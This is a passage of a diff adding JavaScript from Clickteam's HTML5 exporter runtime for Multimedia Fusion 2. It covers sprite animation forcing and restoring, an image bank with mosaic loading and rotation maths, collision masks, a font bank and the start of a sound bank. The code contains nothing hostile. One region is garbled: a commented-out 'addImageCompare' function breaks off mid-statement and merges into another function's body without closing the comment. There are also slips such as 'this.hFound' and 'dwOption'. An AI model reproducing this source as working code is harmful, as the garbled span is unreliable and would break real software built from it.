+ this.hoPtr.roc.rcCheckCollides = true;
+ image = adPtr.adFrames[frame];
+ if (this.hoPtr.roc.rcImage != image || this.raOldAngle != this.hoPtr.roc.rcAngle)
+ {
+ this.hoPtr.roc.rcImage = image;
+ this.raOldAngle = this.hoPtr.roc.rcAngle;
+ if (image >= 0)
+ {
+ ifo = this.hoPtr.hoAdRunHeader.rhApp.imageBank.getImageInfoEx(image, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY);
+ if (ifo != null)
+ {
+ this.hoPtr.hoImgWidth = ifo.width;
+ this.hoPtr.hoImgHeight = ifo.height;
+ this.hoPtr.hoImgXSpot = ifo.xSpot;
+ this.hoPtr.hoImgYSpot = ifo.ySpot;
+ this.hoPtr.hoImgXAP = ifo.xAP;
+ this.hoPtr.hoImgYAP = ifo.yAP;
+ }
+ }
+ }
+ return false;
+ },
+
+ anim_Exist: function (animId)
+ {
+ var ahPtr = this.hoPtr.hoCommon.ocAnimations;
+ if (ahPtr.ahAnimExists[animId] == 0)
+ return false;
+ return true;
+ },
+
+ animation_OneLoop: function ()
+ {
+ if (this.raAnimRepeat == 0)
+ {
+ this.raAnimRepeat = 1;
+ }
+ },
+
+ animation_Force: function (anim)
+ {
+ this.raAnimForced = anim + 1;
+ this.animIn(0);
+ },
+
+ animation_Restore: function ()
+ {
+ this.raAnimForced = 0;
+ this.animIn(0);
+ },
+
+ animDir_Force: function (dir)
+ {
+ dir &= 31;
+ this.raAnimDirForced = dir + 1;
+ this.animIn(0);
+ },
+
+ animDir_Restore: function ()
+ {
+ this.raAnimDirForced = 0;
+ this.animIn(0);
+ },
+
+ animSpeed_Force: function (speed)
+ {
+ if (speed < 0) speed = 0;
+ if (speed > 100) speed = 100;
+ this.raAnimSpeedForced = speed + 1;
+ this.animIn(0);
+ },
+
+ animSpeed_Restore: function ()
+ {
+ this.raAnimSpeedForced = 0;
+ this.animIn(0);
+ },
+
+ anim_Restart: function ()
+ {
+ this.raAnimOn = -1;
+ this.animIn(0);
+ },
+
+ animFrame_Force: function (frame)
+ {
+ if (frame >= this.raAnimNumberOfFrame)
+ frame = this.raAnimNumberOfFrame - 1;
+ if (frame < 0)
+ frame = 0;
+ this.raAnimFrameForced = frame + 1;
+ this.animIn(0);
+ },
+
+ animFrame_Restore: function ()
+ {
+ this.raAnimFrameForced = 0;
+ this.animIn(0);
+ },
+
+ anim_Appear: function ()
+ {
+ this.animIn(1);
+
+ if (this.raAnimForced != CAnim.ANIMID_APPEAR + 1)
+ {
+ if (this.anim_Exist(CAnim.ANIMID_STOP) || this.anim_Exist(CAnim.ANIMID_WALK) || this.anim_Exist(CAnim.ANIMID_RUN))
+ {
+ this.raRoutineAnimation = 0;
+ this.animation_Restore();
+ }
+ else
+ {
+ this.raRoutineAnimation = 2;
+ this.hoPtr.hoAdRunHeader.init_Disappear(this.hoPtr);
+ }
+ }
+ },
+
+ anim_Disappear: function ()
+ {
+ if ((this.hoPtr.hoFlags & CObject.HOF_FADEOUT) == 0)
+ {
+ this.animIn(1); // Un cran d'animations
+ if (this.raAnimForced != CAnim.ANIMID_DISAPPEAR + 1)
+ {
+ this.hoPtr.hoAdRunHeader.destroy_Add(this.hoPtr.hoNumber);
+ }
+ }
+ }
+ } // CImageBank object
+ // -----------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ function CMosaic(bank, h)
+ {
+ this.imageBank = bank;
+ this.app = bank.app;
+ this.handle = h;
+ }
+ CMosaic.prototype =
+ {
+ doLoad: function ()
+ {
+ var name = this.app.resources + "M" + CServices.formatDiscName(this.handle, "png");
+ var image = new Image();
+ this.imageBank.mosaics[this.handle] = image;
+ var that = this;
+ image.onload = function ()
+ {
+ that.app.dataHasLoaded(that);
+ }
+ image.onerror = function ()
+ {
+ that.app.dataHasLoaded(that);
+ }
+ image.src = name;
+ }
+ }
+ function CImageBank(a)
+ {
+ this.app = a;
+ this.file = null;
+ this.images = null;
+ this.nHandlesReel = 0;
+ this.nHandlesTotal = 0;
+ this.nImages = 0;
+ this.offsetsToImage = null;
+ this.handleToIndex = null;
+ this.useCount = null;
+ this.rcInfo = null;
+ this.hsInfo = null;
+ this.apInfo = null;
+ this.pIfo = null;
+ this.mosaics = null;
+ this.oldMosaics = null;
+ this.mosaicLoaded = null;
+ }
+ CImageBank.prototype =
+ {
+ preLoad: function (f)
+ {
+ this.file = f;
+
+ this.nHandlesReel = this.file.readAShort();
+ this.offsetsToImage = new Array(this.nHandlesReel);
+
+ var nImg = this.file.readAShort();
+ var n;
+ var offset;
+ var image = new CImage();
+ for (n = 0; n < nImg; n++)
+ {
+ offset = this.file.getFilePointer();
+ image.loadHandle(this.file);
+ this.offsetsToImage[image.handle] = offset;
+ }
+
+ this.useCount = new Array(this.nHandlesReel);
+ var n;
+ for (n = 0; n < this.nHandlesReel; n++)
+ this.useCount[n] = 0;
+
+ this.handleToIndex = null;
+ this.nHandlesTotal = this.nHandlesReel;
+ this.nImages = 0;
+ this.images = null;
+ },
+ getImageFromHandle: function (handle)
+ {
+ if (handle >= 0 && handle < this.nHandlesTotal)
+ if (this.handleToIndex[handle] != -1)
+ return this.images[this.handleToIndex[handle]];
+ return null;
+ },
+ getImageFromIndex: function (index)
+ {
+ if (index >= 0 && index < this.nImages)
+ return this.images[index];
+ return null;
+ },
+ setAllToLoad: function ()
+ {
+ var n;
+ for (n = 0; n < this.nHandlesReel; n++)
+ {
+ if (this.offsetsToImage[n])
+ this.useCount[n] = 1;
+ }
+ },
+ resetToLoad: function ()
+ {
+ if ((this.app.dwOptions & CRunApp.AH2OPT_LOADDATAATSTART) == 0 && (this.app.dwOptions & CRunApp.AH2OPT_KEEPRESOURCESBETWEENFRAMES) == 0)
+ {
+ var n;
+ for (n = 0; n < this.nHandlesReel; n++)
+ {
+ this.useCount[n] = 0;
+ }
+ }
+ this.oldMosaics = null;
+ },
+ setToLoad: function (handle)
+ {
+ this.useCount[handle]++;
+ },
+
+ enumerate: function (num)
+ {
+ this.setToLoad(num);
+ return -1;
+ },
+
+ loadMosaic: function (handle)
+ {
+ if (this.mosaics[handle] == null)
+ {
+ if (this.oldMosaics != null && handle < this.oldMosaics.length && this.oldMosaics[handle] != null)
+ {
+ this.mosaics[handle] = this.oldMosaics[handle];
+ }
+ else
+ {
+ this.mosaics[handle] = new CMosaic(this, handle);
+ this.app.addDataToLoad(this.mosaics[handle]);
+ }
+ }
+ },
+
+ load: function (file)
+ {
+ var n;
+
+ // Reset mosaics
+ if (this.app.mosaicMaxHandle > 0)
+ {
+ if (this.mosaics == null)
+ {
+ this.mosaics = new Array(this.app.mosaicMaxHandle);
+ if (this.app.dwOptions & CRunApp.AH2OPT_LOADDATAATSTART)
+ {
+ for (n = 0; n < this.app.mosaicMaxHandle; n++)
+ {
+ if (this.app.mosaics[n])
+ this.loadMosaic(n);
+ }
+ }
+ }
+ else
+ {
+ if ((this.app.dwOptions & CRunApp.AH2OPT_LOADDATAATSTART) == 0)
+ {
+ this.oldMosaics = new Array(this.app.mosaicMaxHandle);
+ for (n = 0; n < this.app.mosaicMaxHandle; n++)
+ this.oldMosaics[n] = this.mosaics[n];
+
+ this.mosaics = new Array(this.app.mosaicMaxHandle);
+ for (n = 0; n < this.app.mosaicMaxHandle; n++)
+ this.mosaics[n] = null;
+ }
+ }
+ }
+
+ this.nImages = 0;
+ for (n = 0; n < this.nHandlesReel; n++)
+ {
+ if (this.useCount[n] != 0)
+ this.nImages++;
+ }
+
+ var newImages = new Array(this.nImages);
+ var count = 0;
+ var h;
+ for (h = 0; h < this.nHandlesReel; h++)
+ {
+ if (this.useCount[h] != 0)
+ {
+ if (this.images != null && this.handleToIndex[h] != -1 && this.images[this.handleToIndex[h]] != null)
+ {
+ newImages[count] = this.images[this.handleToIndex[h]];
+ newImages[count].useCount = this.useCount[h];
+ if (this.mosaics != null && this.oldMosaics != null)
+ {
+ var handle = newImages[count].mosaic;
+ if (handle > 0)
+ this.mosaics[handle] = this.oldMosaics[handle];
+ }
+ }
+ else
+ {
+ if (this.offsetsToImage[h] != 0)
+ {
+ newImages[count] = new CImage();
+ file.seek(this.offsetsToImage[h]);
+ newImages[count].load(this.app);
+ newImages[count].useCount = this.useCount[h];
+ }
+ }
+ count++;
+ }
+ /* else
+ {
+ }
+ */
+ }
+ this.images = newImages;
+
+ this.handleToIndex = new Array(this.nHandlesReel);
+ for (n = 0; n < this.nHandlesReel; n++)
+ {
+ this.handleToIndex[n] = -1;
+ }
+ for (n = 0; n < this.nImages; n++)
+ {
+ if (this.images[n])
+ {
+ this.handleToIndex[this.images[n].handle] = n;
+ }
+ }
+ this.nHandlesTotal = this.nHandlesReel;
+ },
+
+ delImage: function (handle)
+ {
+ var img = this.getImageFromHandle(handle);
+ if (img != null)
+ {
+ img.useCount--;
+ if (img.useCount <= 0)
+ {
+ var n;
+ for (n = 0; n < this.nImages; n++)
+ {
+ if (this.images[n] == img)
+ {
+ this.images[n] = null;
+ this.handleToIndex[handle] = -1;
+ break;
+ }
+ }
+ }
+ }
+ },
+ /*
+ addImageCompare:function(newImage, xSpot, ySpot, xAP, yAP)
+ {
+ var i;
+ var width=newImage.width;
+ var height=newImage.height;
+ for (i=0; ithis.= 0 && handles[h] < this.nHandlesTotal)
+ {
+ if (this.offsetsToImage[handles[h]] != 0)
+ {
+ if (this.getImageFromHandle(handles[h]) == null)
+ {
+ var i;
+ var iFound = -1;
+ for (i = 0; i < this.nImages; i++)
+ {
+ if (this.images[i] == null)
+ {
+ iFound = i;
+ break;
+ }
+ }
+ if (iFound == -1)
+ {
+ var newImages = new Array(this.nImages + 10);
+ for (i = 0; i < this.nImages; i++)
+ {
+ newImages[i] = this.images[i];
+ }
+ for (; i < this.nImages + 10; i++)
+ {
+ newImages[i] = null;
+ }
+ iFound = this.nImages;
+ this.nImages += 10;
+ this.images = newImages;
+ }
+ this.handleToIndex[handles[h]] = iFound;
+ this.images[iFound] = new CImage();
+ this.images[iFound].useCount = 1;
+ this.file.seek(this.offsetsToImage[handles[h]]);
+ this.images[iFound].load(this.app);
+ }
+ }
+ }
+ }
+ },
+
+ getImageInfoEx: function (nImage, nAngle, fScaleX, fScaleY)
+ {
+ var ptei;
+ if (this.pIfo == null)
+ {
+ this.pIfo = new CImage();
+ }
+
+ ptei = this.getImageFromHandle(nImage);
+ if (ptei != null)
+ {
+ var cx = ptei.width;
+ var cy = ptei.height;
+ var hsx = ptei.xSpot;
+ var hsy = ptei.ySpot;
+ var asx = ptei.xAP;
+ var asy = ptei.yAP;
+
+ if (nAngle == 0)
+ {
+ if (fScaleX != 1.0)
+ {
+ hsx = hsx * fScaleX;
+ asx = asx * fScaleX;
+ cx = cx * fScaleX;
+ }
+
+ if (fScaleY != 1.0)
+ {
+ hsy = hsy * fScaleY;
+ asy = asy * fScaleY;
+ cy = cy * fScaleY;
+ }
+ }
+ else
+ {
+ if (fScaleX != 1.0)
+ {
+ hsx = hsx * fScaleX;
+ asx = asx * fScaleX;
+ cx = cx * fScaleX;
+ }
+
+ if (fScaleY != 1.0)
+ {
+ hsy = hsy * fScaleY;
+ asy = asy * fScaleY;
+ cy = cy * fScaleY;
+ }
+
+ if (this.rcInfo == null)
+ {
+ this.rcInfo = new CRect();
+ }
+ if (this.hsInfo == null)
+ {
+ this.hsInfo = new CPoint();
+ }
+ if (this.apInfo == null)
+ {
+ this.apInfo = new CPoint();
+ }
+ this.hsInfo.x = hsx;
+ this.hsInfo.y = hsy;
+ this.apInfo.x = asx;
+ this.apInfo.y = asy;
+ this.rcInfo.left = this.rcInfo.top = 0;
+ this.rcInfo.right = cx;
+ this.rcInfo.bottom = cy;
+ this.doRotateRect(this.rcInfo, this.hsInfo, this.apInfo, nAngle);
+ cx = this.rcInfo.right;
+ cy = this.rcInfo.bottom;
+ hsx = this.hsInfo.x;
+ hsy = this.hsInfo.y;
+ asx = this.apInfo.x;
+ asy = this.apInfo.y;
+ }
+ this.pIfo.width = cx;
+ this.pIfo.height = cy;
+ this.pIfo.xSpot = hsx;
+ this.pIfo.ySpot = hsy;
+ this.pIfo.xAP = asx;
+ this.pIfo.yAP = asy;
+
+ return this.pIfo;
+ }
+ return ptei;
+ },
+
+ doRotateRect: function (prc, pHotSpot, pActionPoint, fAngle)
+ {
+ var x, y;
+ var cosa, sina;
+
+ if (fAngle == 90.0)
+ {
+ cosa = 0.0;
+ sina = 1.0;
+ }
+ else if (fAngle == 180.0)
+ {
+ cosa = -1.0;
+ sina = 0.0;
+ }
+ else if (fAngle == 270.0)
+ {
+ cosa = 0.0;
+ sina = -1.0;
+ }
+ else
+ {
+ var arad = fAngle * Math.PI / 180.0;
+ cosa = Math.cos(arad);
+ sina = Math.sin(arad);
+ }
+
+ var topLeftX;
+ var topLeftY;
+
+ var nhxcos;
+ var nhxsin;
+ var nhycos;
+ var nhysin;
+ if (pHotSpot == null)
+ {
+ nhxcos = nhxsin = nhycos = nhysin = 0.0;
+ topLeftX = topLeftY = 0;
+ }
+ else
+ {
+ nhxcos = -pHotSpot.x * cosa;
+ nhxsin = -pHotSpot.x * sina;
+ nhycos = -pHotSpot.y * cosa;
+ nhysin = -pHotSpot.y * sina;
+ topLeftX = nhxcos + nhysin;
+ topLeftY = nhycos - nhxsin;
+ }
+
+ var topRightX;
+ var topRightY;
+
+ if (pHotSpot == null)
+ x = prc.right;
+ else
+ x = prc.right - pHotSpot.x;
+ nhxcos = x * cosa;
+ nhxsin = x * sina;
+ topRightX = nhxcos + nhysin;
+ topRightY = nhycos - nhxsin;
+
+ var bottomRightX
+ var bottomRightY;
+
+ if (pHotSpot == null)
+ y = prc.bottom;
+ else
+ y = prc.bottom - pHotSpot.y;
+ nhycos = y * cosa;
+ nhysin = y * sina;
+ bottomRightX = nhxcos + nhysin;
+ bottomRightY = nhycos - nhxsin;
+
+ var bottomLeftX;
+ var bottomLeftY;
+ bottomLeftX = topLeftX + bottomRightX - topRightX;
+ bottomLeftY = topLeftY + bottomRightY - topRightY;
+
+ var xmin = Math.min(topLeftX, Math.min(topRightX, Math.min(bottomRightX, bottomLeftX)));
+ var ymin = Math.min(topLeftY, Math.min(topRightY, Math.min(bottomRightY, bottomLeftY)));
+ var xmax = Math.max(topLeftX, Math.max(topRightX, Math.max(bottomRightX, bottomLeftX)));
+ var ymax = Math.max(topLeftY, Math.max(topRightY, Math.max(bottomRightY, bottomLeftY)));
+
+ if (pActionPoint != null)
+ {
+ if (pHotSpot == null)
+ {
+ x = pActionPoint.x;
+ y = pActionPoint.y;
+ }
+ else
+ {
+ x = pActionPoint.x - pHotSpot.x;
+ y = pActionPoint.y - pHotSpot.y;
+ }
+ pActionPoint.x = (x * cosa + y * sina) - xmin;
+ pActionPoint.y = (y * cosa - x * sina) - ymin;
+ }
+
+ if (pHotSpot != null)
+ {
+ pHotSpot.x = -xmin;
+ pHotSpot.y = -ymin;
+ }
+
+ prc.right = xmax - xmin;
+ prc.bottom = ymax - ymin;
+ }
+ }
+
+ // CImage Object
+ // ----------------------------------------------------------------------------
+ CImage.maxRotatedMasks = 10;
+ function CImage()
+ {
+ this.app = null;
+ this.handle = 0;
+ this.width = 0;
+ this.height = 0;
+ this.xSpot = 0;
+ this.ySpot = 0;
+ this.xAP = 0;
+ this.yAP = 0;
+ this.useCount = 0;
+ this.img = null;
+ this.maskNormal = null;
+ this.maskPlatform = null;
+ this.maskRotation = null;
+ this.filePointer = null;
+ this.mosaic = 0;
+ this.mosaicX = 0;
+ this.mosaicY = 0;
+ this.texID = -1;
+ this.texCoords = null;
+ }
+ CImage.createFromFile = function (application, fileName)
+ {
+ var image = new CImage();
+ image.app = application;
+ image.img = new Image();
+ image.img.onload = function ()
+ {
+ image.app.imagesLoaded++;
+ image.width = image.img.width;
+ image.height = image.img.height;
+ }
+ application.imagesToLoad++;
+ application.loading = true;
+ image.img.src = application.resources + fileName;
+ return image;
+ }
+ CImage.prototype =
+ {
+ loadHandle: function (file)
+ {
+ this.filePointer = file.getFilePointer();
+ this.handle = file.readAShort();
+ file.skipBytes(12);
+ },
+ doLoad: function ()
+ {
+ this.img = new Image();
+ var that = this;
+ this.img.onload = function ()
+ {
+ that.app.dataHasLoaded(that);
+ }
+ this.img.onerror = function ()
+ {
+ that.app.dataHasLoaded(that);
+ }
+ var name = this.app.resources + CServices.formatDiscName(this.handle, "png");
+ this.img.src = name;
+ },
+ load: function (a)
+ {
+ this.app = a;
+ this.filePointer = a.file.getFilePointer();
+
+ this.handle = a.file.readAShort();
+ this.width = a.file.readAShort();
+ this.height = a.file.readAShort();
+ this.xSpot = a.file.readShort();
+ this.ySpot = a.file.readShort();
+ this.xAP = a.file.readShort();
+ this.yAP = a.file.readShort();
+ this.mosaic = 0;
+ this.img = null;
+ if (this.app.frame.mosaicHandles != null)
+ {
+ this.mosaic = this.app.frame.mosaicHandles[this.handle];
+ if (this.mosaic != 0)
+ {
+ this.app.imageBank.loadMosaic(this.mosaic);
+ this.mosaicX = this.app.frame.mosaicX[this.handle];
+ this.mosaicY = this.app.frame.mosaicY[this.handle];
+ }
+ else
+ {
+ this.app.addDataToLoad(this);
+ }
+ }
+ else
+ this.app.addDataToLoad(this);
+ },
+ createElement: function ()
+ {
+ var e = document.createElement('div');
+
+ e.style.width = this.width + 'px';
+ e.style.height = this.height + 'px';
+
+ e.style.backgroundRepeat = 'no-repeat';
+
+ if (this.mosaic == 0)
+ {
+ e.style.backgroundImage = "url('" + this.img.src + "')";
+ }
+ else
+ {
+ e.style.backgroundPosition = '-' + this.mosaicX + 'px -' + this.mosaicY + 'px';
+ e.style.backgroundImage = "url('" + this.app.resources + "M" + CServices.formatDiscName(this.mosaic, "png") + "')";
+ }
+
+ return e;
+ },
+ getPixel: function (x, y)
+ {
+ var canvas = document.createElement("canvas");
+ canvas.width = this.width;
+ canvas.height = this.height;
+ var context = canvas.getContext("2d");
+ if (this.mosaic == 0)
+ {
+ context.drawImage(this.img, 0, 0);
+ }
+ else
+ {
+ context.drawImage(this.app.imageBank.mosaics[this.mosaic],
+ this.mosaicX, this.mosaicY,
+ this.width, this.height, 0, 0,
+ this.width, this.height);
+ }
+ var imgd = context.getImageData(x, y, 1, 1);
+ return (imgd.data[0] << 16) | (imgd.data[1] << 8) | imgd.data[2];
+ },
+ getMask: function (flags, angle, scaleX, scaleY)
+ {
+ if ((flags & CMask.GCMF_PLATFORM) == 0)
+ {
+ if (this.maskNormal == null)
+ {
+ this.maskNormal = new CMask();
+ this.maskNormal.createMask(this.app, this, flags);
+ }
+ if (angle == 0 && scaleX == 1.0 && scaleY == 1.0)
+ {
+ return this.maskNormal;
+ }
+
+ var rMask;
+ if (this.maskRotation == null)
+ {
+ this.maskRotation = new CArrayList();
+ }
+ var n;
+ var tick = 0x7FFFFFFF;
+ var nOldest = -1;
+ for (n = 0; n < this.maskRotation.size(); n++)
+ {
+ rMask = this.maskRotation.get(n);
+ if (angle == rMask.angle && scaleX == rMask.scaleX && scaleY == rMask.scaleY)
+ {
+ return rMask.mask;
+ }
+ if (rMask.tick < tick)
+ {
+ tick = rMask.tick;
+ nOldest = n;
+ }
+ }
+ if (this.maskRotation.size() < this.maxRotatedMasks)
+ {
+ nOldest = -1;
+ }
+ rMask = new CRotatedMask();
+ rMask.mask = new CMask();
+ rMask.mask.createRotatedMask(this.maskNormal, angle, scaleX, scaleY);
+ rMask.angle = angle;
+ rMask.scaleX = scaleX;
+ rMask.scaleY = scaleY;
+ rMask.tick = this.app.timer;
+ if (nOldest < 0)
+ {
+ this.maskRotation.add(rMask);
+ }
+ else
+ {
+ this.maskRotation.set(nOldest, rMask);
+ }
+ return rMask.mask;
+ }
+ else
+ {
+ if (this.maskPlatform == null)
+ {
+ if (this.maskNormal == null)
+ {
+ this.maskNormal = new CMask();
+ this.maskNormal.createMask(this.app, this, 0);
+ }
+ this.maskPlatform = new CMask();
+ this.maskPlatform.createMask(this.app, this, flags);
+ }
+ return this.maskPlatform;
+ }
+ }
+ }
+
+ // CFontBank object
+ // -----------------------------------------------------------------
+ function CFontBank(a)
+ {
+ this.app = a;
+ this.file = null;
+ this.fonts = null;
+ this.offsetsToFonts = null;
+ this.nFonts = 0;
+ this.handleToIndex = null;
+ this.maxHandlesReel = 0;
+ this.maxHandlesTotal = 0;
+ this.useCount = null;
+ this.nullFont = new CFont();
+ this.nullFont.createDefaultFont();
+ }
+ CFontBank.prototype =
+ {
+ preLoad: function (file)
+ {
+ var number = file.readAInt();
+ var n;
+
+ this.maxHandlesReel = 0;
+ var debut = file.getFilePointer();
+ var temp = new CFont();
+ for (n = 0; n < number; n++)
+ {
+ temp.loadHandle(file);
+ this.maxHandlesReel = Math.max(this.maxHandlesReel, temp.handle + 1);
+ }
+ file.seek(debut);
+ this.offsetsToFonts = new Array(this.maxHandlesReel);
+ for (n = 0; n < number; n++)
+ {
+ debut = file.getFilePointer();
+ temp.loadHandle(file);
+ this.offsetsToFonts[temp.handle] = debut;
+ }
+ this.useCount = new Array(this.maxHandlesReel);
+ var n;
+ for (n = 0; n < this.maxHandlesReel; n++)
+ this.useCount[n] = 0;
+ this.handleToIndex = null;
+ this.maxHandlesTotal = this.maxHandlesReel;
+ this.nFonts = 0;
+ this.fonts = null;
+ },
+
+ load: function (file)
+ {
+ var n;
+ this.nFonts = 0;
+ for (n = 0; n < this.maxHandlesReel; n++)
+ {
+ if (this.useCount[n] != 0)
+ {
+ this.nFonts++;
+ }
+ }
+
+ var newFonts = new Array(this.nFonts);
+ var count = 0;
+ var h;
+ for (h = 0; h < this.maxHandlesReel; h++)
+ {
+ if (this.useCount[h] != 0)
+ {
+ if (this.fonts != null && this.handleToIndex[h] != -1 && this.fonts[this.handleToIndex[h]] != null)
+ {
+ newFonts[count] = this.fonts[this.handleToIndex[h]];
+ newFonts[count].useCount = this.useCount[h];
+ }
+ else
+ {
+ newFonts[count] = new CFont();
+ file.seek(this.offsetsToFonts[h]);
+ newFonts[count].load(file);
+ newFonts[count].useCount = this.useCount[h];
+ }
+ count++;
+ }
+ }
+ this.fonts = newFonts;
+
+ this.handleToIndex = new Array(this.maxHandlesReel);
+ for (n = 0; n < this.maxHandlesReel; n++)
+ {
+ this.handleToIndex[n] = -1;
+ }
+ for (n = 0; n < this.nFonts; n++)
+ {
+ this.handleToIndex[this.fonts[n].handle] = n;
+ }
+ this.maxHandlesTotal = this.maxHandlesReel;
+ },
+
+ getFontFromHandle: function (handle)
+ {
+ if (handle == -1)
+ {
+ return this.nullFont;
+ }
+ if (handle >= 0 && handle < this.maxHandlesTotal)
+ if (this.handleToIndex[handle] != -1)
+ return this.fonts[this.handleToIndex[handle]];
+ return null;
+ },
+
+ getFontFromIndex: function (index)
+ {
+ if (index >= 0 && index < this.nFonts)
+ return this.fonts[index];
+ return null;
+ },
+
+ getFontInfoFromHandle: function (handle)
+ {
+ var font = this.getFontFromHandle(handle);
+ return font.getFontInfo();
+ },
+
+ resetToLoad: function ()
+ {
+ if ((this.app.dwOption & CRunApp.AH2OPT_LOADDATAATSTART) == 0 && (this.app.dwOptions & CRunApp.AH2OPT_KEEPRESOURCESBETWEENFRAMES) == 0)
+ {
+ var n;
+ for (n = 0; n < this.maxHandlesReel; n++)
+ {
+ this.useCount[n] = 0;
+ }
+ }
+ },
+
+ setAllToLoad: function ()
+ {
+ var n;
+ for (n = 0; n < this.maxHandlesReel; n++)
+ {
+ if (this.offsetsToFonts[n])
+ this.useCount[n] = 1;
+ }
+ },
+
+ setToLoad: function (handle)
+ {
+ if (handle == -1)
+ {
+ if (this.nullFont == null)
+ {
+ this.nullFont = new CFont();
+ this.nullFont.createDefaultFont();
+ }
+ return;
+ }
+ this.useCount[handle]++;
+ },
+
+ enumerate: function (num)
+ {
+ this.setToLoad(num);
+ return -1;
+ },
+
+ addFont: function (info)
+ {
+ var h;
+
+ // Cherche une fonte identique
+ var n;
+ for (n = 0; n < this.nFonts; n++)
+ {
+ if (this.fonts[n] == null) continue;
+ if (this.fonts[n].lfHeight != info.lfHeight) continue;
+ if (this.fonts[n].lfWeight != info.lfWeight) continue;
+ if (this.fonts[n].lfItalic != info.lfItalic) continue;
+ if (this.fonts[n].lfFaceName != info.lfFaceName) continue;
+ break;
+ }
+ if (n < this.nFonts)
+ {
+ return this.fonts[n].handle;
+ }
+
+ var hFound = -1;
+ for (h = this.maxHandlesReel; h < this.maxHandlesTotal; h++)
+ {
+ if (this.handleToIndex[h] == -1)
+ {
+ this.hFound = h;
+ break;
+ }
+ }
+
+ if (hFound == -1)
+ {
+ var newHToI = new Array(this.maxHandlesTotal + 10);
+ for (h = 0; h < this.maxHandlesTotal; h++)
+ {
+ newHToI[h] = this.handleToIndex[h];
+ }
+ for (; h < this.maxHandlesTotal + 10; h++)
+ {
+ newHToI[h] = -1;
+ }
+ hFound = this.maxHandlesTotal;
+ this.maxHandlesTotal += 10;
+ this.handleToIndex = newHToI;
+ }
+
+ var f;
+ var fFound = -1;
+ for (f = 0; f < this.nFonts; f++)
+ {
+ if (this.fonts[f] == null)
+ {
+ fFound = f;
+ break;
+ }
+ }
+
+ if (fFound == -1)
+ {
+ fFound = this.nFonts;
+ this.fonts.push(null);
+ }
+
+ this.handleToIndex[hFound] = fFound;
+ this.fonts[fFound] = new CFont();
+ this.fonts[fFound].handle = hFound;
+ this.fonts[fFound].lfHeight = info.lfHeight;
+ this.fonts[fFound].lfWeight = info.lfWeight;
+ this.fonts[fFound].lfItalic = info.lfItalic;
+ this.fonts[fFound].lfFaceName = info.lfFaceName;
+
+ return hFound;
+ }
+ }
+
+ // CFont object
+ // ------------------------------------------------------
+ function CFont()
+ {
+ this.useCount = 0;
+ this.handle = 0;
+ this.lfHeight = 0;
+ this.lfWeight = 0;
+ this.lfItalic = 0;
+ this.lfFaceName = null;
+ this.font = null;
+ this.isGraphic = false;
+ }
+ CFont.prototype =
+ {
+ loadHandle: function (file)
+ {
+ this.handle = file.readAInt();
+ if (file.bUnicode == false)
+ {
+ file.skipBytes(0x48);
+ }
+ else
+ {
+ file.skipBytes(0x68);
+ }
+ },
+
+ load: function (file)
+ {
+ this.handle = file.readAInt();
+ var debut = file.getFilePointer();
+ file.skipBytes(12);
+
+ this.lfHeight = file.readAInt();
+ if (this.lfHeight < 0)
+ this.lfHeight = -this.lfHeight;
+ file.readAInt();
+ file.readAInt();
+ file.readAInt();
+ this.lfWeight = file.readAInt();
+ this.lfItalic = file.readAByte();
+ file.readAByte();
+ file.readAByte();
+ file.readAByte();
+ file.readAByte();
+ file.readAByte();
+ file.readAByte();
+ file.readAByte();
+ this.lfFaceName = file.readAString();
+
+ if (file.bUnicode == false)
+ {
+ file.seek(debut + 0x48);
+ }
+ else
+ {
+ file.seek(debut + 0x68);
+ }
+ },
+
+ getFontInfo: function ()
+ {
+ var info = new CFontInfo();
+ info.lfHeight = this.lfHeight;
+ info.lfWeight = this.lfWeight;
+ info.lfItalic = this.lfItalic;
+ info.lfFaceName = this.lfFaceName;
+ return info;
+ },
+
+ createDefaultFont: function ()
+ {
+ this.lfFaceName = "Arial";
+ this.lfHeight = 13;
+ this.lfWeight = 400;
+ this.lfItalic = 0;
+ },
+
+ getHeight: function ()
+ {
+ return this.lfHeight + Math.ceil(this.lfHeight / 8);
+ },
+
+ getFont: function ()
+ {
+ if (this.font == null)
+ {
+ if (this.lfItalic)
+ this.font = "italic ";
+ else
+ this.font = "normal "
+
+ var weight = Math.floor(this.lfWeight / 100) * 100;
+ weight = Math.max(weight, 100);
+ weight = Math.min(weight, 900);
+ this.font += weight + " ";
+
+ var height = this.lfHeight; // CServices.heightNormalToLF(this.lfHeight);
+ this.font += height + "px ";
+ this.font += this.lfFaceName;
+ }
+ return this.font;
+ }
+ }
+
+ // CSoundBank object
+ // -----------------------------------------------------------------
+
+ function CSoundBank(a)
+ {
+ this.app = a;
+ this.sounds = null;
+ this.nHandlesReel = 0;
+ this.nHandlesTotal = 0;
+ this.nSounds = 0;
+ this.offsetsToSounds = null;
+ this.handleToIndex = null;
+ this.useCount = null;
+ this.file = null;
+ // this.bChrome=navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
+ }
+ CSoundBank.prototype =
+ {
+ preLoad: function (f)
+ {
+ this.file = f;
+
+ this.nHandlesReel = this.file.readAShort();
+ this.offsetsToSounds = new Array(this.nHandlesReel);
+ this.useCount = new Array(this.nHandlesReel);
+ this.handleToIndex = new Array(this.nHandlesReel);
+ var n;
+ for (n = 0; n < this.nHandlesReel; n++)
+ {
+ this.useCount[n] = 0;
+ this.handleToIndex[n] = -1;
+ }
+
+ var nSons = this.file.readAShort();
+ var n;
+ var sound = new CSound(this.app);
+ var offset;
+ for (n = 0; n < nSons; n++)
+ {
